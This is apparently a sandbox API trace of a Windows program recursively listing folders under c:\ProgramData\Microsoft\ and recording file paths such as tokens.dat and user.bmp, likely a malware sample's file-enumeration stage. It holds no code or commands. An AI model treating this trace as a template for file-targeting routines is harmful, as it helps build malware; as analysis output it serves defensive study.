[0123.895] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0123.895] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0123.895] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.895] lstrlenW (lpString="Office") returned 6 [0123.895] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Office" | out: lpString1="c:\\ProgramData\\Microsoft\\Office") returned="c:\\ProgramData\\Microsoft\\Office" [0123.895] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\") returned="c:\\ProgramData\\Microsoft\\Office\\" [0123.895] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\") returned 32 [0123.895] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\*") returned="c:\\ProgramData\\Microsoft\\Office\\*" [0123.895] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.895] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.895] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.895] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.895] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.895] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.895] lstrcmpW (lpString1="ClickToRunPackageLocker", lpString2=".") returned 1 [0123.895] lstrcmpW (lpString1="ClickToRunPackageLocker", lpString2="..") returned 1 [0123.895] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\") returned 32 [0123.895] lstrlenW (lpString="ClickToRunPackageLocker") returned 23 [0123.895] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office\\", lpString2="ClickToRunPackageLocker" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" [0123.895] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned 55 [0123.895] lstrcpyW (in: lpString1=0x24b0f60, lpString2="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" [0123.896] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.896] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.896] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.896] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0123.896] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0123.896] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.896] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0123.896] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0123.896] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0123.896] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0123.896] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0123.896] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.896] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.896] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.896] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.896] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.896] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.896] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0123.896] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0123.896] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0123.896] lstrlenW (lpString="Cache") returned 5 [0123.896] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="Cache" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0123.896] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.896] lstrcmpW (lpString1="tokens.dat", lpString2=".") returned 1 [0123.896] lstrcmpW (lpString1="tokens.dat", lpString2="..") returned 1 [0123.896] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0123.896] lstrlenW (lpString="tokens.dat") returned 10 [0123.896] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="tokens.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0123.896] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 68 [0123.896] lstrcpyW (in: lpString1=0x24b8df0, lpString2="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0123.896] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.896] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.896] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.896] lstrcmpW (lpString1="RAC", lpString2=".") returned 1 [0123.896] lstrcmpW (lpString1="RAC", lpString2="..") returned 1 [0123.896] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.896] lstrlenW (lpString="RAC") returned 3 [0123.896] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="RAC" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC") returned="c:\\ProgramData\\Microsoft\\RAC" [0123.896] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\") returned="c:\\ProgramData\\Microsoft\\RAC\\" [0123.896] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0123.896] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\*") returned="c:\\ProgramData\\Microsoft\\RAC\\*" [0123.896] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.897] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.897] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.897] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.897] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.897] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.897] lstrcmpW (lpString1="Outbound", lpString2=".") returned 1 [0123.897] lstrcmpW (lpString1="Outbound", lpString2="..") returned 1 [0123.897] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0123.897] lstrlenW (lpString="Outbound") returned 8 [0123.897] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="Outbound" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="c:\\ProgramData\\Microsoft\\RAC\\Outbound" [0123.897] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.897] lstrcmpW (lpString1="PublishedData", lpString2=".") returned 1 [0123.897] lstrcmpW (lpString1="PublishedData", lpString2="..") returned 1 [0123.897] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0123.897] lstrlenW (lpString="PublishedData") returned 13 [0123.897] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="PublishedData" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="c:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0123.897] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.897] lstrcmpW (lpString1="StateData", lpString2=".") returned 1 [0123.897] lstrcmpW (lpString1="StateData", lpString2="..") returned 1 [0123.897] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0123.897] lstrlenW (lpString="StateData") returned 9 [0123.897] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="StateData" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\StateData") returned="c:\\ProgramData\\Microsoft\\RAC\\StateData" [0123.897] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.897] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0123.897] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0123.897] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0123.897] lstrlenW (lpString="Temp") returned 4 [0123.897] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="Temp" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\Temp") returned="c:\\ProgramData\\Microsoft\\RAC\\Temp" [0123.897] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.897] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.897] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.897] lstrcmpW (lpString1="Search", lpString2=".") returned 1 [0123.897] lstrcmpW (lpString1="Search", lpString2="..") returned 1 [0123.897] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.897] lstrlenW (lpString="Search") returned 6 [0123.897] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Search" | out: lpString1="c:\\ProgramData\\Microsoft\\Search") returned="c:\\ProgramData\\Microsoft\\Search" [0123.897] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\") returned="c:\\ProgramData\\Microsoft\\Search\\" [0123.897] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Search\\") returned 32 [0123.897] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\*") returned="c:\\ProgramData\\Microsoft\\Search\\*" [0123.897] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.897] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.897] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.897] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.897] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.897] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.897] lstrcmpW (lpString1="Data", lpString2=".") returned 1 [0123.897] lstrcmpW (lpString1="Data", lpString2="..") returned 1 [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Search\\") returned 32 [0123.898] lstrlenW (lpString="Data") returned 4 [0123.898] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Search\\", lpString2="Data" | out: lpString1="c:\\ProgramData\\Microsoft\\Search\\Data") returned="c:\\ProgramData\\Microsoft\\Search\\Data" [0123.898] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.898] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.898] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.898] lstrcmpW (lpString1="User Account Pictures", lpString2=".") returned 1 [0123.898] lstrcmpW (lpString1="User Account Pictures", lpString2="..") returned 1 [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.898] lstrlenW (lpString="User Account Pictures") returned 21 [0123.898] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="User Account Pictures" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures") returned="c:\\ProgramData\\Microsoft\\User Account Pictures" [0123.898] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\" [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0123.898] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\*" [0123.898] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.898] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.898] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.898] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.898] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.898] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.898] lstrcmpW (lpString1="aETAdzjz.dat", lpString2=".") returned 1 [0123.898] lstrcmpW (lpString1="aETAdzjz.dat", lpString2="..") returned 1 [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0123.898] lstrlenW (lpString="aETAdzjz.dat") returned 12 [0123.898] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="aETAdzjz.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned 59 [0123.898] lstrcpyW (in: lpString1=0x24b6478, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" [0123.898] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.898] lstrcmpW (lpString1="Default Pictures", lpString2=".") returned 1 [0123.898] lstrcmpW (lpString1="Default Pictures", lpString2="..") returned 1 [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0123.898] lstrlenW (lpString="Default Pictures") returned 16 [0123.898] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="Default Pictures" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0123.898] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.898] lstrcmpW (lpString1="guest.bmp", lpString2=".") returned 1 [0123.898] lstrcmpW (lpString1="guest.bmp", lpString2="..") returned 1 [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0123.898] lstrlenW (lpString="guest.bmp") returned 9 [0123.898] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="guest.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned 56 [0123.898] lstrcpyW (in: lpString1=0x24b64f8, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0123.898] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.898] lstrcmpW (lpString1="user.bmp", lpString2=".") returned 1 [0123.898] lstrcmpW (lpString1="user.bmp", lpString2="..") returned 1 [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\") returned 47 [0123.898] lstrlenW (lpString="user.bmp") returned 8 [0123.898] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\", lpString2="user.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0123.898] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned 55 [0123.899] lstrcpyW (in: lpString1=0x24b8ea0, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0123.899] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.899] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.899] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.899] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0123.899] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0123.899] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.899] lstrlenW (lpString="Vault") returned 5 [0123.899] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Vault" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault") returned="c:\\ProgramData\\Microsoft\\Vault" [0123.899] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Vault", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault\\") returned="c:\\ProgramData\\Microsoft\\Vault\\" [0123.899] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Vault\\") returned 31 [0123.899] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Vault\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault\\*") returned="c:\\ProgramData\\Microsoft\\Vault\\*" [0123.899] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.899] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.899] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.899] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.899] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.899] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.899] lstrcmpW (lpString1="AC658CB4-9126-49BD-B877-31EEDAB3F204", lpString2=".") returned 1 [0123.899] lstrcmpW (lpString1="AC658CB4-9126-49BD-B877-31EEDAB3F204", lpString2="..") returned 1 [0123.899] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Vault\\") returned 31 [0123.899] lstrlenW (lpString="AC658CB4-9126-49BD-B877-31EEDAB3F204") returned 36 [0123.899] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Vault\\", lpString2="AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="c:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0123.899] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.899] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.899] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.899] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0123.899] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0123.899] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.899] lstrlenW (lpString="Windows") returned 7 [0123.899] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows") returned="c:\\ProgramData\\Microsoft\\Windows" [0123.899] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\") returned="c:\\ProgramData\\Microsoft\\Windows\\" [0123.899] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.899] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\*") returned="c:\\ProgramData\\Microsoft\\Windows\\*" [0123.899] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.899] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.899] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="AIT", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="AIT", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="AIT") returned 3 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="AIT" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\AIT") returned="c:\\ProgramData\\Microsoft\\Windows\\AIT" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="Caches", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="Caches", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="Caches") returned 6 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Caches" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Caches") returned="c:\\ProgramData\\Microsoft\\Windows\\Caches" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="DeviceMetadataStore", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="DeviceMetadataStore", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="DeviceMetadataStore") returned 19 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="DeviceMetadataStore" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="c:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="DRM", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="DRM", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="DRM") returned 3 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="DRM" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\DRM") returned="c:\\ProgramData\\Microsoft\\Windows\\DRM" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="GameExplorer", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="GameExplorer", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="GameExplorer") returned 12 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="GameExplorer" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="c:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="Power Efficiency Diagnostics", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="Power Efficiency Diagnostics", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="Power Efficiency Diagnostics") returned 28 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Power Efficiency Diagnostics" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="c:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="Ringtones", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="Ringtones", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="Ringtones") returned 9 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Ringtones" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="c:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 